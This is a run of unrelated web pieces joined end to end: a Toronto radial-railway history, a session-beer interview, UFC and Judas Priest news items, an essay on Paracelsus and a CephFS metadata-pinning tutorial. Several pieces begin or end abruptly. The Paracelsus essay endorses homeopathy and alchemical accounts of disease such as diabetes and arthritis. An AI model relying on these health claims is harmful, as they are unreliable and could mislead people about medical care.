With that off my chest, sit back and read this week’s transit story from Toronto’s distant past.
This story deals with the nation’s first electrified inter-community commuter rail service one that in its heyday connected the City of Toronto with several suburban communities (we describe them as suburban today although back in the “olden days” they were in fact out in the country) and ultimately with the vacation communities along the south shore of Lake Simcoe.
Beginning its existence nearly a century-and-a-half ago as the Metropolitan Street Railway Company the enterprise went into business in 1884 providing horse-drawn streetcar service from a terminal on Yonge St., not far from today’s beautifully restored LCBO store in the old CPR North Toronto station, north to the community of Eglinton.
With this route up and running the company quickly recognized the potential for more business, both passenger and freight, by servicing communities further to the north such as the one that had grown in and around the Hogg Brothers “residential subdivision” in the hollow where the Don River crossed Yonge (York Mills Rd. and Wilson Ave.), Lansing (Yonge St. and Sheppard Ave.), Finch’s Corners, Newton Brook, Steele’s Corners, Thornhill and Richmond Hill.
It was just three years after the Metropolitan reached this latter location in 1897 that the line made the technology history books when it was electrified, making it Canada’s first electric commuter line.
Over the following years increasing numbers of passengers plus freight of all types were being carried and connections were eventually made with Aurora and in 1899 Newmarket. In 1904 this line was renamed the Toronto and York Radial Railway, Metropolitan Division. The term “radial” described the fact that this line and the company’s two other routes that operated east and west of the city, radiated out from the city.
Further extensions were made to Jackson’s Point (1906) and three years later to the T&Y’s northernmost terminal at Sutton. But changes were in the air (or on the ground). It was soon agreed by all that automobiles, transport trucks and buses could do the job more efficiently and cheaper and the line passed into history exactly 85 years ago today.
But wait, not all had agreed to the abandonment of the radial service. Just four months later municipal officials representing the Townships of North York, Vaughan and Markham and the Town of Richmond Hill arranged to have the line reinstated, but only from the TTC’s Glen Echo loop to Richmond Hill. But the car and a serious electricity shortage saw even that rebirth terminated on October 6, 1948. It took another thirty years for the GO trains to rumble into Richmond Hill, not electric but diesels.
“Mike Filey’s Toronto” is heard on radio am740 every Saturday at 12:30 noon. The show is repeated Sunday, same time, same station.Session Beer Day 2013: Talking Session Brews with Chris and Lew
Every year, around this time, when the buds of spring start to peek out from the frozen dirt of New England, I get an insatiable urge to stretch out on my third floor deck in the high noon summer sun and drink beer. Not just any beer, I may add. Cold, easy-drinking, session beer.
Of course, lounging on sun-soaked deck is not the only occasion for a session brew. It’s pretty much that all-year-rounder beer that finds its home after work, on long nights, in the morning… I mean, whatever floats your boat. But, there is only one Session Beer Day and it just happens to be this coming sunday, April 7th. So, what better way to welcome it in than by catching up with two of session beer’s most vocal advocates, Chris Lohring and Lew Bryson.
As the brewmaster of America’s first session beer company, Notch, Chris has been instrumental in creating awareness for the session category. Since I last spoke to Chris (about a year ago), he has expanded his product line to include a handful of limited releases and unique styles like Černe Pivo and Polotmavy, and continues to show how low alcohol craft beer can be just as flavorful and creative as its higher ABV siblings. Notch is also rolling out their first IPA this week, aptly titled, Left of the Dial.
Despite a handful of new session beer releases by various brewers across the US, Chris is still a stand alone in the category when it comes to session-only. “We’ve come a long way,” says Lohring. “But we’ve only scratched the surface. And supporters are far out numbering the haters, finally… I see the look on consumers faces when they try a beer at 4% and have the epiphany that lower ABV beer can have flavor.”
According to Chris, “The major milestone this year will be that Notch will cease to be the only session beer brand in the US (we’ll always be first!)… I am thrilled, because I can’t do this alone. Like craft beer 25 years ago, the more in the category the better, because there will be more to tell the story.”
If there’s someone other than Chris Lohring who knows how to tell this story of session beer, it’s fellow advocate, and champion for many things drink-related, Lew Bryson. In addition to being the Managing Editor of Whisky Advocate (my favorite magazine), a highly respected beer writer and a proponent for the privatization of the state-run liquor stores in Pennsylvania, Lew also runs a website called The Session Beer Project — one of the foremost web outposts for all things session.
“The number of brewers jumping on the bandwagon, however heavily, is actually good news,” said Bryson. “It proves the session brand is catching on; brewers want to have a session beer. Boston Beer and Deschutes have session beers now, Stone has their quite nice Levitation Ale, and all that’s a big deal; it’s real support, done right. At the base of this, it’s just going back to the roots of why craft beer happened: variety. Session beer adds variety to the craft beer scene, tasty beers that can be enjoyed in volume.”
Personally, I couldn’t agree more with that statement. But, there is still a certain population of beer drinkers who don’t fully “get” it. Some see lower alcohol beer as a shortcoming. A typical response being, “why should I pay the same amount for less alcohol?” Others debate where the line for session should be drawn. And, perhaps, that’s where a lot of the confusion comes in.
“Unfortunately, consistency of message is a problem, which ties directly into awareness,” said Bryson. “Session is getting the same kind of press interest that craft beer did 25 years ago and extreme beer did 5 years ago, but the message is muddled. BeerAdvocate and the Alström Brothers say session beers are 5% or lower; Adrian ‘D_I_N_G’ Dingle very vocally lays down 4.0% as an ironclad limit, citing English tradition; and I’m firmly in the pragmatic middle at 4.5%, while the GABF’s standards are all over the map.”
So, what’s next for session beer? How does it keep moving forward and growing as a category? From Lew’s perspective, the main part of session beer advocacy in the coming year is police work. “I’ve seen beers as high as 7.5% labeled “session,” and that just DOES. NOT. GET IT. The point of session beer is not to be less alcohol than a big beer. Chris actually nails it with his catchphrase, “have fun left of the dial.” We’re looking for good-tasting LOW-alcohol beers, not LOWER-alcohol beers.”
For Chris and Notch, it’s full steam ahead. He’s got a few new beers coming to market, including the IPA which drops this week and a German-style beer coming for Memorial Day. He also has a few projects that he’s working on that he can’t talk about yet, but “they involve new beers and packages that will be released this year, and then a longer term thing in the works too. How’s that for being vague?”
But, if one thing is for sure, the 4.5% ceiling is not stifling Chris’ creativity. “Nothing makes one more creative than to impose a limitation,” he mentioned. “I have never felt more creative than when brewing session beer. When anything goes, we end up with the kitchen sink beers we have today. And I never have the urge to brew a strong beer, I’ve played that gig already and I’m on to new challenges.”
For Lew, the biggest factor in gaining the awareness is media. “That’s what started this whole thing for me,” said Bryson. “Back in 2007, I was complaining to a brewer that they only made big, extreme beers, they never made a big deal out of session-strength, drinkable beers. ‘That’s your fault,’ he said, and explained that the big beers got all the press… So I decided to do something about that, and started the Session Beer Project, and it’s been pretty successful: the media IS talking about session beers. I just wish they knew what they were talking about!”
“Now we’re into the next phases,” continued Bryson. “Where the brewers and importers see that there’s an emerging demand for these beers — and Chris’s success with Notch was a BIG part of that, way out of proportion to his sales — so more beers are happening, we’re seeing session beer events, Session Beer Day, and bars doing dedicated session beer taps. It’s only going to build…”
So, as a fan of session beer, I’m trying to do my part by spreading the gospel as well. It has been exciting to see all of the new session beers released over the past year, but as both Chris Lohring and Lew Bryson pointed out, we’re just scratching the surface on what this category can become. Speaking of, there are a whole bunch of events going on for Session Beer Day (#sessionbeerday) this coming weekend, including a day-long event calendar put on by the Notch crew. If you’re in the Boston area, you should definitely check it out.
A big thanks to Chris and Lew for their continued energy toward pushing the session beer message, and for taking the time to contribute to this post. To thank them, I highly recommend that you go out and buy many cases of Notch and subscriptions to Whisky Advocate. Cheers.Bethe Correia won’t leave any attacks unanswered.
Speaking with Sports Illustrated, UFC bantamweight champion Ronda Rousey promised that, unlike her last title defenses, the UFC 190 clash with undefeated contender Bethe Correia in Rio de Janeiro, Brazil, won’t end in seconds.
"This fight has gone pretty personal for me and when I finish fights quickly, that's really me at my most merciful," Rousey said. "My dad would call it a ‘come to Jesus meeting’. I’m going all the way down to Brazil to a ‘come to Jesus meeting’ with this chick. No, I’m not gonna end it quickly. But not because I can’t end it quickly, because I choose to."
Correia disapproved of the champion’s comments.
"She should respect God’s name," Correia told MMAFighting.com. "‘Come to Jesus meeting’... That’s totally disrespectful. God, our creator. Keep that to yourself. We have to respect God. He’s above everything."
Recently called the most dominant athlete alive, Rousey has finished four of her five UFC fights in the first round. However, Correia doesn’t consider the champion a real mixed martial artist.
"She wants to be a Hollywood star, she’s just wasting her time with MMA," Correia said of Rousey. "I have more Octagon time, I have thrown more punches and fought more rounds than her in the UFC. I have more experience than her. She should shut her mouth and respect me. Ronda hasn’t proved to be a MMA fighter. I am a real MMA fighter.
"She’s saying she won’t be merciful with me. Don’t worry, I won’t be merciful either," she continued. "But that means I’ll fight differently. I always fight showing my entire MMA game, and this time I will just knock her out quickly. Go back home, do your little movies. I’ll do her a favor and knock her out fast. That’s a promise I make to the Brazilian people."
Correia, who tries to be the first to beat "Rowdy" in MMA, attacked the champion again by citing her autobiography.
In her book, Rousey admits "smoking and drinking heavily, often beginning her day with a cigarette and a vodka espresso" and even developing "a pot-and-Vicodin habit" after losing at the 2008 Olympics.
"I just hope she can handle this loss better than her last one and don’t do drugs again," Correia said. "I hope she can handle losing the title. That’s my only advice for her. Learn how to lose and don’t do drugs again. Your loss is coming. It’s August 1st in Brazil. You have no idea how tough I am."JUDAS PRIEST singer Rob Halford has commented on Kim Davis, the woman who refused to issue marriage licenses to same-sex couples in Kentucky, saying that we all should "give each other the respect and equality that everybody deserves on this planet."
Rowan County, Kentucky clerk Davis is an Apostolic Christian who has said her faith prevents her from issuing the licenses. She spent six days in jail earlier in the month for refusing to comply with a federal judge's order to issue marriage licenses to same-sex couples.
Davis has become a lightning rod for the same-sex marriage debate, her case prompting supporters to tie her defiance to follow the law to the passive resistance at the center of the Civil Rights Movement.
Halford, who came out as a gay man during a 1998 interview with MTV, says that the Davis case isn't actually about gay marriage or religious freedom but is rather is about the county clerk's refusal to uphold the law, as she was sworn to do.
Speaking to the C103 radio station, Halford said: "First of all, you know, it's been very interesting to watch all of that going on, 'cause I've been here in America while all that came about. And firstly, I just love freedom and democracy and freedom of speech and everybody being able to say what they feel. Having said that, when you are employed in a situation that comes with basic, accepted ground rules and you try to kind of manipulate them to your perception so that it interferes with your job and interferes with other people's lives, then I take [exception to that]."
He continued: "But, look, again, from my perspective 64 years later, living this long, it is just… It's simple, man: just give each other the respect and equality that everybody deserves on this planet, no matter where you're from. So all |
by Paracelsus started the tendency in Western medicine away from simple, non-poisonous plants, towards pharmaceutical preparations.
All the principal tenets of homeopathy were advanced by Paracelsus. Linn Boyd, a homeopathic medical historian, writes, "The Paracelsian writings advance a simile, the small dose, the necessity for having drug pictures, the totality of the symptoms, the relationship of drug to disease, the single remedy, the individualization of the patient. All of these are attributes of the modern [homeopathic] simile which, however, applies these thoughts on a quite different basis."31 Although Paracelsus anticipated Hahnemann, the credit belongs to the latter for making the law of similars into a comprehensive system of medicine based upon pharmacological principle and rational procedure. The jumbled mass of Paracelsian literature hardly compares with the straight, rational lines of Hahnemannian medicine. Hahnemann probably discovered his principles independently of any direct influence from the most exalted "charlatan," following an entirely different rationale. He deserves credit for making an original discovery, and a great contribution to medicine.
The law of similars had been known from the most ancient times. It is mentioned by one of the Hippocratic writers, but in a more or less speculative vein. Galen, an exponent of rationalism in medicine, formally instituted the law of contraries as the basis of practice. However, his opponents, the empirics, maintained that experience taught them that the law of similars healed, contrary to rational doctrine. The law of similars remained an element of magic and folk-medicine. When it was discussed by physicians, it rose little above the level of superstition. Agrippa von Nettesheim, a contemporary of Paracelsus, gives an account of "how we must find out and examine the virtues of things by way of similitude," which demonstrates this facile approach: It is well known amongst physicians that brain helps the brain, and lungs the lungs. So also it is said that the right eye of a frog helps the soreness of a man's right eye, and the left eye thereof helps the soreness of his left eye, if they be hanged about his neck in a cloth of its natural color. The like is reported by the eyes of a crab. So the feet of a tortoise helps them that have the gout in their being applied thus---as foot to foot, hand to hand, right to right, left to left.32 Paracelsus brought similarity to a higher level. He rejected these literalistic and simple-minded applications of the principle. "Not spleen of a cow, not the brain of a swine to the brain of man, but the brain---that is, the external brain to man's internal brain."33 For example, Chelidonium has an orange-yellow sap that looks like bile. Therefore, it is used to treat diseases of the liver. Paracelsus has often been cited for introducing the law of similars on a magical basis, but there is an important difference between his method and that of his predecessors. The Paracelsian simile is based on actual, observable patterns in nature. His doctrine is magical, but not superstitious. It is scientific within it's own premise. Whether or not one believes in the light of nature and the doctrine of correspondence, through his use of these principles Paracelsus was able to establish facts about natural history and chemical behavior that were quite practical and previously unknown. This contributed to the emerging basis of knowledge upon which materialistic science was coming into existence. The terms Paracelsus adopted to express the analogies between similars were, however, a step in the magical direction, causing his observations to appear quite a bit like those of Agrippa. He usually used astrological terms to represent the correspondence between the different diseases and remedies. Astrology was, for Paracelsus, primarily a language of pattern. He was not interested in erecting charts and forecasting, but he used astrology as a language expressing archetypal relationships. Paracelsus offered several explanations for why the principle of similarity operates. Historian Harris Coulter noted that they were often logically incompatible. Here we see evidence of the theory lagging behind the practice, and also the disregard for rationality often found in an intuitive personality. The explanation that is perhaps the best (or at least my favorite) is that the disease must be actualized, must manifest itself completely, in order for the body to be freed from its power. The medicine, as a similar, brings the disease to its maximum expression. "The illness... itself must be experienced... must be learned in the medicine."34
The Arcana The law of correspondence, the doctrine of signatures, and the law of similars point to the existence of a core essence, configuration, or identity-pattern at the root of every natural substance. Paracelsus called this essence the arcana, or "secret." As the name suggests, it is a hidden property. It can only be seen through the light of nature, the spiritual eye. "Behold the herbs!" says Paracelsus. "Their virtues are invisible and yet they can be detected."35 From the arcana standing at the core of the substance, flow the characteristics, similarities, and contrarieties of that substance. The outward mechanical, chemical properties of the substance are a reflection or derivative of the arcana, but they are not the essence itself. In fact, the material properties take us away from the arcana. They can be torn from the context and used independently---and often are---in material medicine. "Laxative and constringent are not arcana."36 External properties, so easily observed and named, draw us away from the internal secrets. "Names have no virtues; substances have."37 In order to describe the properties of the arcana, a language that is typological in nature is required. The arcana are diverse, but they can be lumped into broad categories. Paracelsus utilized the language of pattern common to his era---astrology. He classified arcana according to the seven "planets" (Sun, Moon, Mercury, Venus, Mars, Jupiter, Saturn) or the seven precious metals (gold, silver, mercury, copper, iron, tin, and lead). This method of classification had been in existence some time before Paracelsus and continued to develop after his death. Paracelsus also used analogies from chemistry and mineralogy. He likened archetypal principles and organic patterns to events and substances he saw in mines, laboratories, and mineral waters. He even stated that one had to study volcanos to interpret fevers. Since the arcana which cures a given disease is cognate with the essence of that disease, the most accurate system of pathological nomenclature would be based upon the remedies. Paracelsus stated, "A natural truthful physician speaks thus: this is morbus terpentinus, that is morbus sileris montani, that is helleborinum, etc., and not that is phlegm, that is hoarseness, that is rheumatism, that is coryza." The former names refer to precise phenomena, while the later are imprecise generalizations that have no specific existence. "There is not simply one kind of colic but many types of colic and as many types as there are types of arcana in colic. From this follows colica zibetina, colica muscata, not colica ventosa [wind colic], not colica fellis [bilious colic]."38 Such a sentiment would be familiar to a homeopath, who identifies the disease by the drug administered.
Just as the arcana is hidden in the interior, subjective world, it is hidden in the interior of physical substance. It is not immediately available for use, but must be isolated through alchemical refinement. Paracelsus wrote: Nothing of true value is located in the body of a substance, but in the virtue. And this is the principle of the quintessence, which reduces, say 20 lbs. to a single ounce, and that ounce far exceeds the entire 20 lbs. in potency. Hence the less there is of body, the more in proportion is the virtue.39 It is not clear in such statements whether Paracelsus was thinking of a reduction of the crude material to its "active ingredients," in the modern pharmacological sense, or whether he was thinking in terms of the homeopathic idea of dilution. Perhaps he did not distinguish entirely between the two processes. We have abundant evidence that the crude ores needed to make the iatrochemic remedies of Paracelsus had to be refined to bring out pure chemical and medicinal substances. Such refining processes left only a small amount of the essential ingredient. Paracelsus commonly prepared botanical remedies by distillation, so that the material was again reduced in amount. There is no doubt, however, that Paracelsus did advocate the use of "unweighable" doses similar to homeopathic dilutions. "Drugs should be administered not with the weight but beyond the weight," he says. "Can one weigh the beams of the sun, the air, the spiritum arcanum?"40 Indeed, this was his preferred method, since "the less the body, the more the virtue." Paracelsus continually stated that it was the size of the dose that determined whether the arcana was a poison or a medicine. Unfortunately, this advice was not heeded by his imitators. Well into the nineteenth century, chemical agents introduced by Paracelsus were used in large, damaging, sometimes fatal doses. The arcana is a specific entity. As such, it cannot be mixed or compounded. Each medicinal agent possesses a single, specific arcana. Because every disease is specific, it can only be treated by a specific medicine. Consequently, Paracelsus taught the use of simples, or single remedies. "The whole power lies in a simple."41 He opposed poly-pharmacy as the basis for medical practice. "In the apothecaries there are no real preparations, only a cooking-together into a soup of filth. The arcanum is drowned in this coction and has no influence."42 That is not to say, however, that Paracelsian preparations were completely free of admixture. A list of his chemical remedies shows that he often combined several agents together. The vegetable component was sometimes added to a chemical compound to make it more palatable and less poisonous. What Paracelsus really opposed was the idea that different medicines could be compounded to form a specific medicinal property. He seems to have allowed the use of a few simples together, when their unique properties were appreciated. Alchemy Early metallurgists noted two qualities in the mineral world: "perfection" and "impurity." When an ore was refined, both a perfect metal and an impurity were found within it. When heated, the perfect part melted and flowed like water (it was malleable and fusible) while the impurity burned and produced smoke. Because of these properties, the perfect portion was conceived of as a fluid inherent in metals. It was associated with mercury, the fluidic metal. Mercury was therefore known as the "mother of metals." The impure constituent was likened to sulphur, because it burned and produced smoke.
These ideas were extended to include all phenomena. Because it was the essence of metals, mercurius was looked upon as the essence in all things. It gave each creature its distinctive type, characteristics, qualities, and virtues. "As often as there is a different type there is a different mercurius."43 When organic materials rotted or fermented they produced liquid. This could then be purified by distillation, thereby isolating the mercurius. Sulphur was seen as the combustible element in inorganic and organic matter. All things that burn or release energy contain sulphur. It was especially associated with fats and oils, because these burn. "Every fat is nothing but sulphur that is divided into different forms and ways."44 Organic materials are especially rich in alchemical sulphur because they are easily dried and burned; pure metals, on the other hand, are rich in mercurius. The life force itself, which is like a finite and combustible material burning in the interior of the organism, is sulphur. All of nature consists of essence and energy. Alchemy is the art of separating and recombining mercurius and sulphur. Fire is the primal force used to accomplish these transmutations. Paracelsus called the principle of fire vulcanus. This principle is not always seen, but it is still there, in both organic and inorganic beings. The fire in the earth, which is usually unseen but which sometimes erupts, and which Paracelsus intuitively associated with the changes in minerals seen from place to place, is vulcanus. The fire burning in the interior of organic beings is also hidden, but it is still present. Paracelsus called it the "internalized vulcanus." Vulcanus also appears in the inner world of the human spirit. It is that which separates, recombines, and transmutes. "[God] instituted vulcanus so that good and evil can be separated from each other," Paracelsus says. "[Alchemy] is like unto death, which separates the eternal from the mortal, so that it should properly be known as the death of things."45 The Three Substances Paracelsus introduced a third member into the alchemical scheme: "That which burns is sulphur, that which evaporates is mercurius, and that which remains in the ash is salt."46 He called them the three substances or principia (philosophical principles). They are the fundamental states into which matter divides when subjected to fire.
The triad of spirit, soul, and body was the source from which Paracelsus drew the concept of the three principia. "Hermes... calls these three substances, spirit, soul, and body, but he has not indicated how this is to be understood."47 Paracelsus supposed that Hermes knew about the chemical application of these three entities, but kept it hidden from profane eyes. Actually, it was Paracelsus who made a practical, chemical application out of the Hermetic triad. The elevation of the three substances to chemical principles did not remove from them their spiritual correspondences. Like all Paracelsian concepts, they have a material and spiritual manifestation. Mercurius is the spirit, that is, the archetypal, pre-material essence from which the outward form is constructed. Sulphur is the mortal soul inhabiting the body. Salt is the body. The three substances also stand at the root of physiological processes in the body. "Each corpus is composed of three things, called sulphur, mercurius and salt. Nothing but life, hidden in the interior of what we call a body, can make them hang together. If you take a body in hand, you have three invisible substances in one form. These three are the basis of the giving and making of health."48 Mercurius is the blue-print upon which the corpus is constructed. It provides the genetic prototype that maintains the form. Digestion, which consists of tearing down the mercurius of foreign substances, is presided over by the mercurius of the organism. So is assimilation, which brings them together into a new form. Similar processes obtain in the intellectual sphere. Mercurius is associated with personal identity, hence with the mind and brain. Sulphur is the root of "energy-processes" or metabolism in the body. It is the "match-stick" of the body, causing things to burn, in order to remove waste materials and promote activity. Because it lies at the root of metabolism, sulphur is centered in the middle part of the body, the digestive tract. (Paracelsus realized, however, that metabolic process was generalized throughout the whole body, and that "alchemical kitchens" existed in every organ and tissue.) Paracelsus observed the behavior of salts precipitating out of mineral waters. He concluded that salt controls and regulates solids and liquids in the body, so that the organism can move materials into and out of the tissues and the system as a whole. Salt facilitates nutrition, cleansing, and waste removal. Because of its association with cleaning and elimination, salt is most closely associated with the kidneys, the urinary tract and the lower part of the organism. The stomach is the central organ of the body, because it is the seat of the archeus. However, each organ has its own "stomach," by which it receives and digests its particular nutriment. The digestate is split into three different parts---mercury, sulphur, and salt. Each organ has its own mercurius, sulphur, and salt, upon which it feeds. Each of the three principia produces a characteristic kind of disease. Mercurius is associated with putrifactive processes. The primordial disease of mercurius is syphilis, with its putrefaction, erosion, and decomposition of hard structures. On the mental level, syphilis causes destruction of the integrity and coherence of the personality. (Mercury was the principal remedy for syphilis from the time of Paracelsus down to the modern era.) Because it is isolated by distillation, mercurius rises to the top---the head and skin---causing mental disorders, nervous problems, and apoplexy, as well as ulceration and decomposition of the skin, glands, and bones.
Sulphuric diseases result in metabolic disorder. Combustible waste materials collect, causing contamination, skin rashes, heat, or unequal temperature. Such a category of disease has been spontaneously recognized in alternative medicine. Homeopathy uses Sulphur as the principal remedy for "psora," a condition of heat, skin rashes, and irritation of the tissues. Herbalism looks to sulphur-rich medicines such as Burdock, Dandelion, and Yellow Dock, to "clean the blood" or "detoxify the liver."
Diseases of salt pertain to the balance and control of water and solids in the body. If solids fall out of solution, we have mineralization and encrustation. Arthritis and stone-formation are characteristic diseases. If solids are deficient, or fluids are excessive, the body becomes too liquid. Diabetes mellitus is such a disease. Paracelsus was able to differentiate a wide variety of diseases of salt through examination of the urine. Each substance tends toward the deposit of a characteristic waste material. For mercury it is phlegm, or impure water. For sulphur it is resina, or impurely burned materials. For salt it is tartarus, or saline precipitates. When food is not entirely broken down by the digestive and assimilative processes in the organism it will not be taken up by the body, but instead will collect and settle out, like tartar on the bottom of a wine cask. This precipitates in the organism, causing tartar on teeth, stones in the gall bladder and kidneys, casts from tubercular deposits, rheumatic stiffness, and disfigurement around bones.
These three impurities are removed from the organism through a continual "diaphoresis" of the tissues. "When the lungs are brought into a diaphoretic state, nothing evil can be confined within them. Thus too with the liver, stomach and other members.... Because neither mucilage, resina or tartarus can attach itself to that which sweats. But if the sweat-producing power is lacking, then the three harmful things spread not only to one part but to all."50 Although his system of chemistry was rudimentary, in it we spy the foundational concepts that would evolve into the modern disciplines of chemistry, biochemistry, physiology, and pharmacy. How extraordinarily modern Paracelsus sounds when he comments that some medicines have to be stored in alcoholic tinctures, some in oils, and some in saline or crystalline bodies. The three Paracelsian substances were later criticized because they were not ultimate constituents of matter. This criticism is based upon modern knowledge, however, and is not appropriate to the technical abilities of Paracelsus' time. His alchemy was suited to a technology only able to isolate substances according to crude manipulations with fire and water. It was therefore appropriate and innovative within its context. Paracelsus called the principles of chemistry he discovered the archedoxa, or "primal doctrines." They provided the first workable system of chemistry. The Legacy of Paracelsus The medicine of Paracelsus is holistic, because it unites the different constituents of man into one. Only upon such a basis can a real system of medicine be constructed, because humanity is a combination of spirit and matter, nature and God, life and body. We must continue to move in this direction, because it is the only standpoint that encompasses our true nature. The acceptance of spiritual and vital processes into conventional science will bring meaning and healing that is impossible under the present order. Paracelsus was a figure of titanic proportions. It is therefore difficult to assess his ideas, much less their impact on medicine and science. There is no doubt, however, that it was he who planted the seeds of a new world-view in these fields. The creators of both conventional and unconventional medicine did not recognize their indebtedness to this "quack," but he must be given credit for establishing the mental atmosphere within which their ideas could arise. Footnotes 1Paracelsus, De Tinctura Physicorum, translated by Arthur Edward Waite, The Hermetic and Alchemical Writings of Paracelsus, 2 vols. (London: 1894; reprint ed., Berkeley, Ca.: Shambala, 1976), I:24; Karl Sudhoff, ed., Paracelsus Werke, 15 vols. (Munich: R. Oldenburg, 1922-3), I/14:392. Sudhoff attributes this tract to Johannes Huser, Paracelsus' editor. 2Paracelsus, Sieben Defensiones, Sudhoff, Paracelsus Werke, I/11:151-2. 3Walter Pagel, Paracelsus, An Introduction to Philosophical Medicine in the Era of the Renaissance (Basle: S. Karger, 1959), p. 5. 4quoted by Henry M. Pachter, Magic into Science, The Story of Paracelsus (New York: Henry Schuman, 1951), p. 155. 5Paracelsus, Von des Bades Pfaeffers Tugenden, Kraeften, under Wirkung; Sudhoff, Paracelsus Werke, I/9:641. 6Paracelsus, Von hinfallenden Siechtagen der Mutter; Sudhoff, Paracelsus Werke, I/8:365. 7Paracelsus, Astronomia magna; Sudhoff, Paracelsus Werke, I/12:497. 8Ibid., I/12:497. 9Paracelsus, De Caducis Liber I; Sudhoff, Paracelsus Werke, I/8:306. 10quoted by Pagel, Paracelsus, p. 53. 11quoted by Anna Stoddart, The Life of Paracelsus (London: 1911), pp. 74, 12. 12quoted by John M. Stillman, Theophrastus Bombastus con Hohenheim called Paracelsus (Chicago: Open Court, 1920), p. 18. 13Stoddart, The Life of Paracelsus, p. 74. 14Ibid., p. 75. 15Jean Beguinus, Tyrochium Chemicum (London: 1669; reprint ed., Gillette, N.J.: Heptangle Books, 1983), p. 21. 16Paracelsus,Von chemie und heilung der Franzosen neun Bücher; Sudhoff, Paracelsus Werke, I/6:456. 17Ibid., I/6:314. 18Paracelus, Labyrinthus medicorum errantium; Sudhoff, Paracelsus Werke, I/11:183. 19Paracelsus, De caduco matricis; Sudhoff, Paracelsus Werke, I/12:37 20Paracelsus, Labyrithus medioricum errantium; Sudhoff, Paracelsus Werke, I/11:205. 21quoted by Pachter, Magic into Science, p. 86. 22Paracelsus, Astronomia magna; Sudhoff, Paracelsus Werke, I/12:497. 23Ibid.; I/12:172. 24Franz Hartman, The Life of Paracelsus and the Substance of His Teachings (London: 1887; reprint ed., San Diego: Wizard's Bookshelf, 1985), p. 51. 25Paracelsus, Astronomia magna; Sudhoff, Paracelsus Werke, I/12:172. 26Paracelsus, Von den podagrischen Krankheiten; Sudhoff, Paracelsus Werke, I/1:363. 27Paracelsus, Paragranum; Sudhoff, Paracelsus Werke, I/8:120. 28Ibid., I/8:88.
29 Ibid., I/8:120. 30Ibid., I/8:87.
31 Pachter, Magic into Science, p. 86. 32Linn Boyd, A History of the Simile in Medicine (Philadelphia: Boericke and Tafel, 1936), p. 16. 33Willis F. Whitehead, ed., Three Books of Occult Philosophy by Henry Cornelius Agrippa (London: 1897; reprint ed., New York: Samuel Weiser, 1971), p. 72. 34Paracelsus, Paragranum; Sudhoff, Paracelsus Werke, I/8:157. 35Paracelsus, Vom Urspung und Herkommen der Franzosen; Sudhoff, Paracelsus Werke, I/7:239. 36Paracelsus, Astronomia magna; Sudhoff, Paracelsus Werke, I/12:148. 37Paracelsus, Paragranum; Sudhoff, Paracelsus Werke, I/8:193. 38quoted by Pachter, Magic into Science, p. 56. 39Paracelsus, Paragranum; Sudhoff, Paracelsus Werke, I/8:75. 40Paracelus, De Buecher von den unsichtbaren Krankheiten; Sudhoff, Paracelsus Werke, I/9:325. 41Paracelsus, Von Ursprung und Herkommen der Fransosen; Sudhoff, Paracelsus Werke, I/7:300. 42Paracelsus, Paragranum; Sudhoff, Paracelsus Werke, I/8:84.
43 Ibid., I/8:195. 44Paracelsus, Das Buch De Mineralibus; Sudhoff, Paracelsus Werke, I/3:42. 45Paracelsus, Von der Bergsucht; Sudhoff, Paracelsus Werke, I/9:472. 46Ibid., I/9:476. 47Paracelsus, Paramirum; Sudhoff, Paracelsus Werke, I/9:46. 48Paracelsus, De 9 Bücher De Natura rerum; Sudhoff, Paracelsus Werke, I/11:319. 49Paracelsus, Paramirum; Sudhoff, Paracelsus Werke, I/9:45; cf. Hartman, The Life of Paracelsus, p. 167. 50Paracelsus, Von der Bergsucht; Sudhoff, Paracelsus Werke, I/9:473.The Ceph file system (CephFS) allows for portions of the file system tree to be carved up into subtrees which can be managed authoritatively by multiple MDS ranks. This empowers the cluster to scale performance with the size and usage of the file system by simply adding more MDS servers into the cluster. Where possible, new subtrees are created and shipped off to an underloaded MDS.
In Luminous, multiple active metadata servers are considered stable. It is now also possible in Luminous to pin a directory to a particular rank. This allows the operator some freedom in dictating which MDS a subtree may be assigned to and whether it can be split into smaller subtrees.
Viewing the subtree partitions
You can view the current subtree divisions of the file system by querying the admin socket of each MDS (on the host each MDS is operating on):
$ ceph fs status cephfs - 0 clients ======== +------+--------+-----+---------------+-------+-------+ | Rank | Stat e | MDS | Activity | dns | inos | +------+--------+-----+---------------+-------+-------+ | 0 | active | b | Reqs: 0 /s | 0 | 0 | | 1 | active | c | Reqs: 0 /s | 0 | 0 | | 2 | active | a | Reqs: 0 /s | 0 | 0 | +------+--------+-----+---------------+-------+-------+ +-------------------+----------+-------+-------+ | Pool | type | used | avail | +-------------------+----------+-------+-------+ | cephfs_metadata | metadata | 4098 | 9554M | | cephfs_data | data | 0 | 9554M | +-------------------+----------+-------+-------+ $ bin/ceph daemon mds.a get subtrees | jq '.[] | [.dir.path,.auth_first]' ["~mds2", 2] ["", 0] ["/tmp", 2]
The “” subtree is the root of the file system (“/”) and is always managed by rank 0. The “/tmp” subtree is being managed by rank 2. (A subtree path beginning with “~” is an internal subtree and not part of the file system hierarchy.)
(A word of caution for anyone trying this command at home: please be aware that each MDS does not necessarily have the full picture of the subtree divisions of the file system. An MDS only needs to know the neighboring subtrees for each of its own subtrees. You must run this command on every MDS if you want to perform any kind of analysis on the subtree divisions of the entire file system.)
Pinning subtrees
The CephFS balancer automatically and dynamically splits or merges subtrees which allows dividing the metadata load across the MDS ranks. However, sometimes the operator may wish to override the balancer by pinning a directory (and its children) to a particular rank. This can be attractive for administrative reasons.
For example, it can prevent a directory from splitting into multiple subtrees and using the resources of multiple MDS servers. Alternatively, if the operator has a priori knowledge of the metadata load to be placed on the cluster, directories can be pinned in a way that evenly divides the work across ranks. This technique was used to evaluate the performance of CephFS with multiple active metadata servers, presented in talks at Vault 2017 and a seminar at CERN.
Pinning a directory to a particular rank is done by setting an extended attribute:
$ setfattr -n ceph.dir.pin -v 2 /mnt/cephfs/tmp
This has the effect of preventing the CephFS directory “/tmp” from being split into smaller subtrees and also pinning “/tmp” to rank 2 (if that rank exists). Once this is done, you may query the rank 2 MDS to see its subtree map:
$ ceph daemon mds.b get subtrees | jq '.[] | [.dir.path,.auth_first,.export_pin]' ["", 0, -1] ["~mds0", 0, -1] ["/tmp", 2, 2]
Here we can see that “/tmp” has its export_pin set to 2 and rank 2 is authoritative (auth_first).
(N.B. a pinned directory is only shipped to its rank if it is not empty.)
Pin hierarchy
You may also have a hierarchy of pins. This means a child directory can have a pin set which overrides the pin of a parent. So we may have:
